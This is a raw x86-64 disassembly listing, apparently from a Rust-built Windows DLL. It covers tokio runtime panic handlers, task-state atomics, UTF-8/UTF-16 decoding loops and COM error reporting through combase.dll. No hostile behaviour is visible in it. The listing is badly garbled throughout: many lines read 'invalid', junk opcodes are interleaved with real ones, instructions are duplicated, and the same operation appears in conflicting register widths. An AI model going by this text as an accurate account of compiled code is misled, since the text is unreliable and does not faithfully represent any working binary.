lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, str.actual_
lea rcx, [rsp + 0xa0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x180025550]
mov qword [rsp + 0x38], rdx
lea rdx, [rsp + 0x30]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadqueue.rs
call fcn.180069750
lea rax, [0x18007f2d0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadlocal.rs
lea r9, [0x18007f560]
lea r8, [rsp + 0xd8]
mov edx, 0x46
call fcn.180069b20
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
lea rcx, [rsp + 0x40]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [rsp + 0xd8]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_taskcore.rs
call fcn.180069750
lea rcx, str._internal_exception__blocking_task_ran_twice.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_blocking_task.rs
lea r8, [0x180080f50]
mov edx, 0x2d
call fcn.180069bd0
lea rcx, str.assertion_failed:_len___LOCAL_QUEUE_CAPACITY
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadqueue.rs
mov edx, 0x2d
call fcn.180069820
ud2
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x120], xmm0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
lea rcx, [rsp + 0x40]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.180069750
call fcn.18006b074
int3
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x180062c9f
test al, 1
je 0x180062d23
test al, 2
jne 0x180062d3b
test al, 8
jne 0x180062cc8
lea rcx, [rsi + 0x20]
call fcn.18005f96f
jmp 0x180062ce0
test al, 0x10
je 0x180062ce0
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x180062dad
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x10]
xor ecx, ecx
call fcn.18005e564
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x180062d53
jne 0x180062d19
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x180062de3
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x180080aa8]
mov edx, 0x23
call fcn.180069820
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x180080ae8]
mov edx, 0x25
call fcn.180069820
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [rsp + 0x60]
mov qword [rax], rcx
lea rdx, [0x180020440]
mov qword [rax + 8], rdx
lea r8, [rsp + 0x20]
lea r9, str.current:___sub:
lea rcx, [rsp + 0x30]
mov qword [rcx], r9
mov r9d, 2
mov qword [rcx + 8], r9
and qword [rcx + 0x20], 0
mov qword [rax + 0x10], r8
mov qword [rax + 0x18], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r9
lea rdx, [0x180080b30]
call fcn.180069750
lea rax, str.waker_missing
lea rcx, [rsp + 0x30]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_taskcore.rs
call fcn.180069750
int3
push rsi
sub rsp, 0x20
mov rsi, rcx
add rcx, 0x28
call fcn.18005f88b
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x180062e04
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x18]
mov edx, 0x80
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.18001b8e0
add byte [rsp + rbx + 0x48], dh
mov ecx, dword [rdx + 0x20]
je 0x180062fb9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x180080fac]
mov r8d, 0x3b
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.there_is_no_reactor_running__must_be_called_from_the_context_of_a_Tokio_1.x_runtimeregistery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_sync_notify.rs
mov r8d, 0x53
jmp rax
invalid
dec dword [rax - 0x7b]
sal byte [rsi + riz + 0xf], 0x10
add eax, 0x1df84
add dword [rax], eax
add dword [rax], eax
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x72656b72
mov qword [rsi], rdi
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rdi
mov rax, rsi
add rsp, 0x28
pop rdi
pop rsi
ret
inc dword [rax]
jle 0x180063063
or eax, 0x48068948
mov dword [rsi + 8], eax
mov qword [rsi], rax
mov qword [rsi + 8], rax
invalid
add rsp, 0x20
pop rsi
ret
ud2
xor byte [rax], al
mov byte [rax + 0x38], 0
lock inc qword [rax]
jle 0x180063245
mov rdi, rax
mov qword [rsp + 0x40], rbx
mov ecx, 0x18
mov edx, 8
add byte [rax], al
add byte [rax], al
call fcn.18005f61f
mov rbx, rax
mov qword [rax], rsi
invalid
pop rdx
invalid
dec dword [rax - 0x77]
ret
xor byte [rax - 0x77], cl
jo 0x1800630d7
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov r15, qword [r14 + 0x28]
invalid
sub byte [rbp - 0x75], al
outsb dx, byte [rsi]
mov r13d, dword [r14 + 0x30]
xor byte [rax - 0x73], cl
je 0x180063103
lea rsi, [rsp + 0x48]
mov rcx, rsi
mov rcx, rsi
call fcn.1800054e4
mov rcx, rsi
cli
dec dword [rax - 0x77]
int1
call fcn.18005fb0c
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x30], edx
mov r12, qword [r14 + 0x38]
lock inc qword [r12]
jle 0x180063245
xor ebp, ebp
cmp r13d, 0x3b9aca00
cmovne ebp, r13d
mov eax, 0xa
cmove r15, rax
mov r13, qword [r14 + 0x40]
movups xmm6, xmmword [r14 + 0x10]
mov rcx, qword [r14 + 0x58]
mov rdx, qword [r14 + 0x60]
call fcn.180063247
adc al, byte [rcx]
add byte [rax], al
adc al, byte [rcx]
add byte [rax], al
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov rcx, qword [r14 + 0x68]
mov rdx, qword [r14 + 0x70]
call fcn.180063247
mov r14, rax
mov rsi, rdx
mov ecx, 0x110
mov edx, 8
call fcn.18005f61f
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax], rcx
mov qword [rax + 8], rcx
movups xmmword [rax + 0x10], xmm6
mov qword [rax + 0x20], r15
mov dword [rax + 0x20], edi
mov dword [rax + 0x20], edi
mov dword [rax + 0x28], ebp
mov qword [rax + 0x30], r12
mov qword [rax + 0x38], r13
and word [rax + 0x40], 0
invalid
invalid
invalid
invalid
and qword [rax + 0x48], 0
mov qword [rax + 0x50], 8
add byte [rax - 0x39], cl
push rax
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rax + 0x58], xmm0
pop rax
movups xmm1, xmmword [0x18007f300]
rol dword [rcx], 0
movups xmmword [rax + 0x68], xmm1
movups xmm1, xmmword [0x18007f310]
movups xmmword [rax + 0x78], xmm1
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x88], rcx
mov byte [rax + 0x48000000], cl
mov ecx, dword [rsp + 0x30]
invalid
mov byte [rax + 0x48000000], cl
mov ecx, dword [rsp + 0x30]
invalid
xor byte [rax - 0x77], cl
mov byte [rax + 0x48000000], dl
mov dword [rax + 0x98], ebx
mov qword [rax + 0x90], rcx
mov qword [rax + 0x98], rbx
and qword [rax + 0xa0], 0
and qword [rax + 0xb8], 0
and dword [rax + 0xc0], 0
mov byte [rax + 0xc4], 0
mov rcx, qword [rsp + 0x28]
mov qword [rax + 0xc8], rcx
mov rcx, qword [rsp + 0x20]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], r14
mov qword [rax + 0xe0], rsi
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0xe8], rcx
movups xmmword [rax + 0xfc], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0xf0], eax
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0xf0], eax
invalid
add byte [rax - 0x77], cl
cli
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
leave
je 0x180063252
lock inc qword [rcx]
jle 0x180063256
mov rax, rcx
ret
ud2
mov eax, 1
lock xadd qword [0x18008b128], rax
add eax, 0x27ec2
add eax, 0x27ec2
test rax, rax
test eax, eax
je 0x180063258
ret
sal byte [rax + rcx + 0xf], cl
mov dh, 0xc2
invalid
je 0x18006327c
movzx eax, dl
ret 0xf883
cmp eax, 2
jne case.0x18002b117.1052
mov rax, qword [rcx]
cmp rax, 3
add esi, dword [rbx + 5]
add esi, dword [rbx + 5]
add rsp, 0x58
add esp, 0x58
invalid
ret
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, [0x180081110]
lea eax, [0x180081110]
lea eax, [0x180081110]
mov edx, 0x28
call fcn.180069820
add byte [rax], al
add byte [rax], al
lea rax, str.there_is_no_such_thing_as_a_release_load
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
add dword [rax - 0x39], ecx
or byte [r9], al
add dword [rax], eax
add byte [rax], al
add dword [rax - 0x39], ecx
or byte [r9], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x180081690]
add byte [rax], al
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_sync_atomic.rs
adc byte [r15], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0x1c1c6
call fcn.180069750
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.IUnknown
adc eax, 0x1e374
adc eax, 0x1e374
mov r8d, 8
or byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
lea rbx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
pop rsp
and al, 0x28
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], al
and qword [rbx], 0
add dh, al
adc dword [r8], eax
add dh, al
adc dword [r8], eax
lea r8, [0x180081670]
jrcxz 0x180063318
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.180027190
mov rcx, rbx
mov ecx, ebx
cld
dec dword [rax - 0x77]
invalid
mov ecx, ebx
fld1
mov ch, 0x3f
cld
call qword [rax + 0x40c48348]
add esp, 0x40
call fcn.1800272e0
nop
add rsp, 0x40
add esp, 0x40
add esp, 0x40
invalid
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rcx]
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x18006334b
invalid
or eax, 0x840f20a8
or ah, byte [rdx]
test al, 0x20
je 0x180025550
test byte [rdx], cl
and bh, ah
cld
invalid
test byte [rdx], cl
and bh, ah
cld
cld
invalid
jmp 0x18002c3d0
mov ecx, dword [rcx]
jmp 0x180029ab0
pop rsi
cld
invalid
or ecx, ebp
pop rsi
cld
dec dword [rax - 0x75]
or ecx, ebp
jmp 0x18002e404
mov rcx, qword [rcx]
mov eax, dword [rdx + 0x34]
test al, 0x10
adc byte [rdi], cl
test dword [rax + 0x28], ebp
cld
invalid
jmp 0x18002e404
adc byte [rdi], cl
test dword [rax + 0x28], ebp
cld
dec dword [rdi]
mov bh, 9
movzx ecx, word [rcx]
test al, 0x20
jne 0x18002c310
invalid
popfq
invalid
cld
invalid
test dword [rbp - 0x16000371], ebx
cld
invalid
jmp 0x180026cb0
cmp byte [rcx], bh
cld
call qword [rsi + 0x57]
push rdi
push rdi
push rbx
sub rsp, 0x40
mov rsi, rdx
invalid
mov rdi, rcx
mov rcx, qword [rdx + 0x20]
invalid
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
lea rdx, str.CIMTYPE_ENUMERATIONcalled__Result::unwrap____on_an__Err__value
mov r8d, 0x13
call qword [rax + 0x18]
lea rbx, [rsp + 0x28]
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], al
and qword [rbx], 0
mov byte [rbx + 0x11], 0
lea r8, [0x180081360]
mov rcx, rbx
mov rdx, rdi
call fcn.180027190
mov rcx, rbx
call fcn.1800272e0
nop
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov r14d, 1
test rdx, rdx
je 0x180063435
mov rdi, r8
mov rbx, rdx
ror dword [rcx - 0x7d], cl
jns case.0x180046113.1259
invalid
je 0x180063414
ror dword [rcx - 0x7d], cl
jns case.0x180046113.1259
add byte [rsp + rbx + 0x49], dh
mov rdx, qword [r9 + 0x10]
mov edx, dword [rcx + 0x10]
test rdx, rdx
test edx, edx
je 0x180063414
adc ecx, dword [rcx - 0x75]
or dword [rcx - 0x77], ecx
fmul dword [rcx - 0x77]
stc
mov rcx, qword [r9]
mov r8, rbx
mov r9, rdi
call fcn.18001b900
mov rdx, rdi
sti
dec dword [rax - 0x77]
cli
jmp 0x18006341f
mov rcx, rbx
mov rdx, rdi
mov edx, edi
cli
call fcn.180063458
add byte [rax], al
test rax, rax
je 0x18006343e
mov qword [rsi + 8], rax
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
xor r14d, r14d
mov rdi, rdx
jmp 0x180063447
mov eax, 8
add byte [rax], al
xor edi, edi
jmp 0x180063447
mov qword [rsi + 8], rbx
mov dword [rsi + 8], ebx
mov eax, 0x10
add byte [rax], al
mov qword [rsi + rax], rdi
mov qword [rsi], r14
invalid
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov esi, edx
mov rax, rcx
test rdx, rdx
je 0x180063479
mov cl, byte [0x18008b300]
add al, byte [rax]
mov rcx, rsi
mov rdx, rax
call fcn.18001b890
mov rdx, rsi
add rsp, 0x20
pop rsi
ret
movzx edx, word [rcx + 0x10]
test dx, dx
je case.0x18000b703.1246
mov bh, 0x51
push rcx
adc byte [rsi - 0x7b], ah
sal byte [rdx + rcx + 0x66], cl
invalid
and word [rcx + 0x10], 0
and dword [rcx + 0x10], 0
mov ax, 1
mov eax, 0x4cc30001
mov eax, dword [rcx]
add dword [rax], eax
ret
mov r8, qword [rcx]
cmp r8, qword [rcx + 8]
je 0x180063509
or byte [rbx + rbp*2 + 0x49], dh
lea eax, [rax + 1]
invalid
lea rax, [r8 + 1]
add dword [rax - 0x77], ecx
mov qword [rcx], rax
movzx edx, byte [r8]
add dword [rcx + 0xf], eax
mov dh, 0x10
test dl, dl
jns 0x180063490
mov eax, edx
and eax, 0x1f
lea r9, [r8 + 2]
mov qword [rcx], r9
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x18006350c
lea r9, [r8 + 3]
mov qword [rcx], r9
add rcx, qword [rcx + rcx*4 + 9]
movzx r9d, byte [r8 + 2]
shl r10d, 6
add al, byte [rcx - 0x3f]
loop 0x1800634dd
and r9d, 0x3f
loope 0x18006351a
or r9d, r10d
cmp dl, 0xf0
jb case.0x18002bb9c.1099
rol dword [rax + 0x3672f0fa], 1
lea rdx, [r8 + 4]
mov qword [rcx], rdx
adc dword [rcx + 0xf], eax
mov dh, 0x50
add eax, dword [rbx - 0x1f3ef820]
invalid
adc dword [rcx + 0xf], eax
mov dh, 0x50
add eax, dword [rbx - 0x1f3ef820]
adc al, byte [rcx - 0x3f]
shl r9d, 6
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, eax
cmp edx, 0x110000
add byte [rax], al
adc dword [rax], eax
jne 0x180063522
xor eax, eax
ret
shl eax, 6
or eax, r10d
ror byte [rcx - 0x88163e], 1
invalid
invalid
ror byte [rcx - 0x88163e], 1
ret 0x77e9
ja 0x180063516
invalid
invalid
shl eax, 0xc
loopne 0x180063528
or r9d, eax
mov edx, r9d
cmp edx, 0xffff
inc dword [rax]
add byte [rdi], cl
xchg byte [rdx - 1], ah
invalid
jbe 0x180063490
lea r8d, [rdx + 0xff0000]
invalid
add byte [rax], al
inc dword [rax]
shr r8d, 0xa
or r8d, 0xd800
and edx, 0x3ff
loop 0x180063542
inc dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [rcx + 0xdc00ca], al
retf 0xdc00
add byte [rax], al
mov word [rcx + 0x10], dx
mov ax, 1
or edx, 0xdc00
retf 0xdc00
add ah, bl
add byte [rax], al
mov word [rcx + 0x10], dx
mov ax, 1
mov edx, r8d
ret
sub rsp, 0x98
mov rax, qword [rcx]
add dword [rax - 0x73], ecx
and al, 0x20
and al, 0x20
add dword [rax - 0x73], ecx
and al, 0x20
and al, 0x20
and al, 0x20
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rax], 2
add byte [rax], al
and qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xa
mov dword [rax + 0x18], 0xa
invalid
mov dword [rax + 0x18], 0xa
sbb byte [rdx], cl
add byte [rax], al
add byte [rax - 0x7d], cl
and qword [rax + 0x20], 0
lea r8, [0x18002c3d0]
invalid
cld
dec dword [rcx + rcx*4 + 0x41]
or byte [rcx - 0x48], cl
and byte [rax], al
add byte [rax], al
or al, 0
add byte [rax], al
invalid
invalid
invalid
cld
dec dword [rcx + rcx*4 + 0x41]
or byte [rcx - 0x48], cl
and byte [rax], al
add byte [rax], al
or al, 0
add byte [rax], al
invalid
add byte [rcx + rcx*4 + 0x40], cl
sub dh, al
xor byte [rbx], al
mov qword [rax + 0x28], r8
mov byte [rax + 0x30], 3
lea r9, [0x180081490]
lea r8, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [r8], r9
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov qword [r8 + 8], r9
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], r9
sub byte [rcx - 0x77], cl
adc byte [rbp - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
or dword [rax], eax
add byte [rax], al
or byte [rcx - 0x77], cl
and byte [rbp - 0x77], cl
sub byte [rcx - 0x77], cl
sub byte [rcx - 0x77], cl
sub byte [rcx - 0x77], cl
adc byte [rbp - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
or dword [rax], eax
add byte [rax], al
nop
add rsp, 0x98
add byte [rax], al
invalid
add byte [rax], al
add bl, al
add byte [rax], al
ret
jmp fcn.180021b20
xor ah, ch
sti
dec dword [rax - 0x7d]
in al, dx
push 0x48018b48
lea ecx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
invalid
sub byte [rax - 0x77], cl
or byte [rax - 0x73], cl
lea rcx, [0x180063648]
lea rcx, [0x180063648]
add byte [rax], al
mov qword [rax + 8], rcx
lea rcx, [0x180081490]
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
mov dword [rax + 8], ecx
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
and byte [rax - 0x75], cl
push rdx
sub al, ch
call fcn.1800635e4
nop
add rsp, 0x68
invalid
mov edx, dword [rdx + 0x28]
call fcn.1800635e4
nop
add rsp, 0x68
invalid
call qword [rax + 0x68c48348]
push 0x415741c3
ret
push rsi
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rax, qword [rcx]
mov rax, qword [rax]
test rax, rax
je 0x18006366c
mov rdi, qword [rax + 0x10]
mov eax, dword [rax + 4]
add al, 0xeb
invalid
adc byte [rbx + 0x9eb0440], cl
add al, 0xeb
or dword [rax - 0x73], ecx
cmp eax, 0x1df7d
add dword [rax], eax
lea rdi, [0x1800815f0]
add dword [rax], eax
xor eax, eax
lea rbx, [rdi + rax*2]
mov rsi, qword [rdx + 0x20]
mov r14, qword [rdx + 0x28]
xor r13d, r13d
mov ebp, 0x3ff
movabs r15, 0x100000000
test r13w, r13w
je 0x18006369e
mov eax, r12d
jmp 0x1800636ae
cmp rdi, rbx
cmp edi, ebx
je 0x18006372c
add byte [rax], al
add byte [rdi], cl
mov bh, 7
movzx eax, word [rdi]
add rdi, 2
add cl, byte [rcx + 0xe181c1]
clc
mov ecx, eax
and ecx, 0xf800
add al, bh
add byte [rax], al
rol dword [rcx + 0xf800e1], 0
add al, bh
add byte [rax], al
cmp cx, 0xd800
jne 0x1800636f0
invalid
cmp ecx, 0x3375d800
xor edi, dword [rdx + 0xfffd]
mov edx, 0xfffd
inc dword [rax]
add byte [rsi + 0x3d], ah
invalid
cmp ax, 0xdbff
ja 0x1800636fa
invalid
xor cl, byte [rax + 0x39]
fbstp tbyte [rbp + rdi + 0xf]
invalid
movzx ecx, word [rdi]
cmp rdi, rbx
je 0x18006370a
invalid
cmp eax, 0x480fb70f
add edi, 2
invalid
invalid
movzx ecx, word [rdi]
add rdi, 2
mov dword [rdx], 0x41c88941
add eax, 0x2000
add byte [rax], al
mov r8d, ecx
add r8d, 0x2000
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x41], ah
mov ebp, 0x41660001
add byte [rsi + 0x41], ah
mov r13w, 1
add byte [rsi + 0x41], ah
cmp r8w, 0xfc00
jae 0x180063712
cmp r8d, 0x2773fc00
cmp eax, 0x2773fc00
mov r12d, ecx
mov esp, ecx
jmp 0x1800636fd
or eax, 0x4810e0c1
shl eax, 0x10
mov rdx, rax
mov edx, eax
shr rdx, 0x10
xor r13d, r13d
mov rcx, rsi
call qword [r14 + 0x20]
invalid
and byte [rax + rax*8 + 0x1eeb8b74], al
test al, al
je 0x180063693
jmp 0x180063728
xor r13d, r13d
mov rdi, rbx
jmp 0x1800636fd
movzx edx, cx
and eax, ebp
and edx, ebp
shl dword [rcx], 1
call 0x1414f213c
shl rax, 0x1a
shl rax, 0x1a
sbb al, cl
loop 0x180063730
shl edx, 0x10
or rdx, rax
add rdx, r15
add edx, edi
add edx, edi
jmp 0x1800636f6
mov al, 1
jmp 0x18006372e
add ebx, ebp
add dh, byte [rcx]
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5d], bl
pop rbp
xor eax, eax
add rsp, 0x28
pop rbx
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
ret
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x9eb
jmp 0x18006375f
jmp 0x18006375f
mov rax, rsi
add rsp, 0x20
pop rsi
ret
invalid
sub esp, 0x28
test rcx, rcx
je case.0x18001e906.1321
call qword [sym.imp.oleaut32.dll_SysStringLen]
add byte [rax], al
add byte [rcx + 0x3102ebc0], cl
ror byte [rax - 0x7d], 0xc4
mov eax, eax
jmp 0x18006377d
xor eax, eax
add rsp, 0x28
sub bl, al
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x80
in al, dx
add byte [rax], 0
invalid
in al, dx
add byte [rax], 0
add byte [rcx + 0x7c8d48ce], cl
mov esi, ecx
invalid
invalid
invalid
mov esi, ecx
lea rdi, [rsp + 0x28]
and al, 0x28
invalid
and al, 0x28
sub byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1800639ad
cmp qword [rdi], 0
invalid
add byte [rcx + 1], bh
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rdi, qword [rdi + 8]
jne 0x1800637d3
lea rdx, [rsp + 0x50]
and al, 0x50
mov qword [rdx], rdi
lea rbx, [rsp + 0x68]
mov rcx, rbx
call fcn.180063a03
add byte [rax], al
add byte [rax], al
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rdi, qword [rbx + 8]
jnp 0x1800637db
invalid
jnp 0x1800637db
mov rdx, rdi
call fcn.180063a79
test rax, rax
je 0x180063835
sal byte [rbp + rdx*2 + 0x48], 0x89
ret
mov rbx, rax
mov ebx, eax
lea rdi, [rsp + 0x28]
and qword [rdi], 0
mov rax, qword [rax]
mov eax, dword [rax]
mov eax, dword [rax]
lea rdx, [0x1800814b0]
mov rcx, rbx
mov r8, rdi
call qword [rax]
adc byte [rax - 0x75], cl
invalid
test eax, eax
js 0x18006385c
adc byte [rax - 0x75], cl
invalid
test rdi, rdi
je 0x180063876
mov rax, qword [rdi]
mov rcx, rdi
xor edx, edx
invalid
sar bh, cl
push rax
sub byte [rbp + rcx*4 + 0x74], cl
and al, 0x28
call qword [rax + 0x28]
lea r14, [rsp + 0x28]
mov rcx, r14
mov edx, eax
call fcn.180063c81
add al, 0
invalid
add al, 0
add byte [rcx - 0x75], cl
add byte [rax], al
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
invalid
call fcn.180063a9a
add al, byte [rax]
add cl, ch
jmp 0x180063990
invalid
invalid
jl case.0x18002bb9c.1052
jmp 0x180063990
lea rdi, [rsp + 0x50]
push rax
mov rcx, rdi
mov ecx, edi
call fcn.1800639ad
add byte [rax], al
cmp qword [rdi], 0
mov rdi, qword [rdi + 8]
je 0x18006388a
xor ebx, ebx
test rdi, rdi
invalid
dec dword [rdi]
test dword [rcx], edi
add dword [rax], eax
add cl, ch
cmp eax, 0x89000001
jne 0x180063990
jmp 0x180063999
mov ecx, eax
call fcn.180063782
invalid
invalid
dec dword [rcx - 0x77]
invalid
test rdi, rdi
je 0x180063879
shr eax, 0x1f
invalid
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x180063879
xor r14d, r14d
mov rdi, r14
test r14, r14
jne 0x180063990
jmp 0x180063999
lea rdx, [rsp + 0x28]
and al, 0x28
and qword [rdx], 0
and dword [rdx], 0
add byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call qword [rax + 0x28]
test eax, eax
js case.0x18001c9bf.1247
mov r14, qword [rsp + 0x28]
jmp 0x1800638bf
mov ecx, eax
call fcn.180063782
test rax, rax
je 0x1800638bc
invalid
or dword [rax - 0x75], ecx
adc byte [rax - 0x77], cl
sar edi, 0x52
adc byte [rbp + 0x31], al
xor esi, esi
mov rcx, r14
invalid
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x10]
xor r14d, r14d
xor esi, esi
mov rcx, r14
call fcn.18006373f
mov r8, rdx
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rax
call fcn.180063aaf
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.180063a79
mov rbx, rax
mov qword [rsp + 0x40], rax
lea rcx, str.combase.dll
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test rax, rax
je case.0x180046113.1216
js 0x1800638c3
invalid
mov r15, rax
lea rdx, str.RoOriginateError
adc eax, 0x1dbae
adc eax, 0x1dbae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
invalid
xchg dword [rax], eax
add byte [rax - 0x7b], cl
test eax, eax
invalid
test eax, eax
sal byte [rcx + rcx - 0x77], 0xf1
je 0x180063929
mov ecx, esi
mov rdx, rbx
call rax
jmp case.0x180046113.1216
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
adc eax, 0x88f6
lea rbx, [rsp + 0x28]
mov rcx, rbx
call fcn.1800639ad
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
cmp eax, dword [rax]
invalid
add byte [rax], al
cmp qword [rbx], 0
add byte [rcx + 1], bh
mov ecx, 1
add byte [rax - 0x75], cl
pop rbx
or byte [rbp + 0x25], dh
invalid
mov rbx, qword [rbx + 8]
jne 0x180063973
invalid
and eax, 0x24548d48
lea rdx, [rsp + 0x48]
and al, 0x48
mov qword [rdx], rbx
mov qword [rdx], rbx
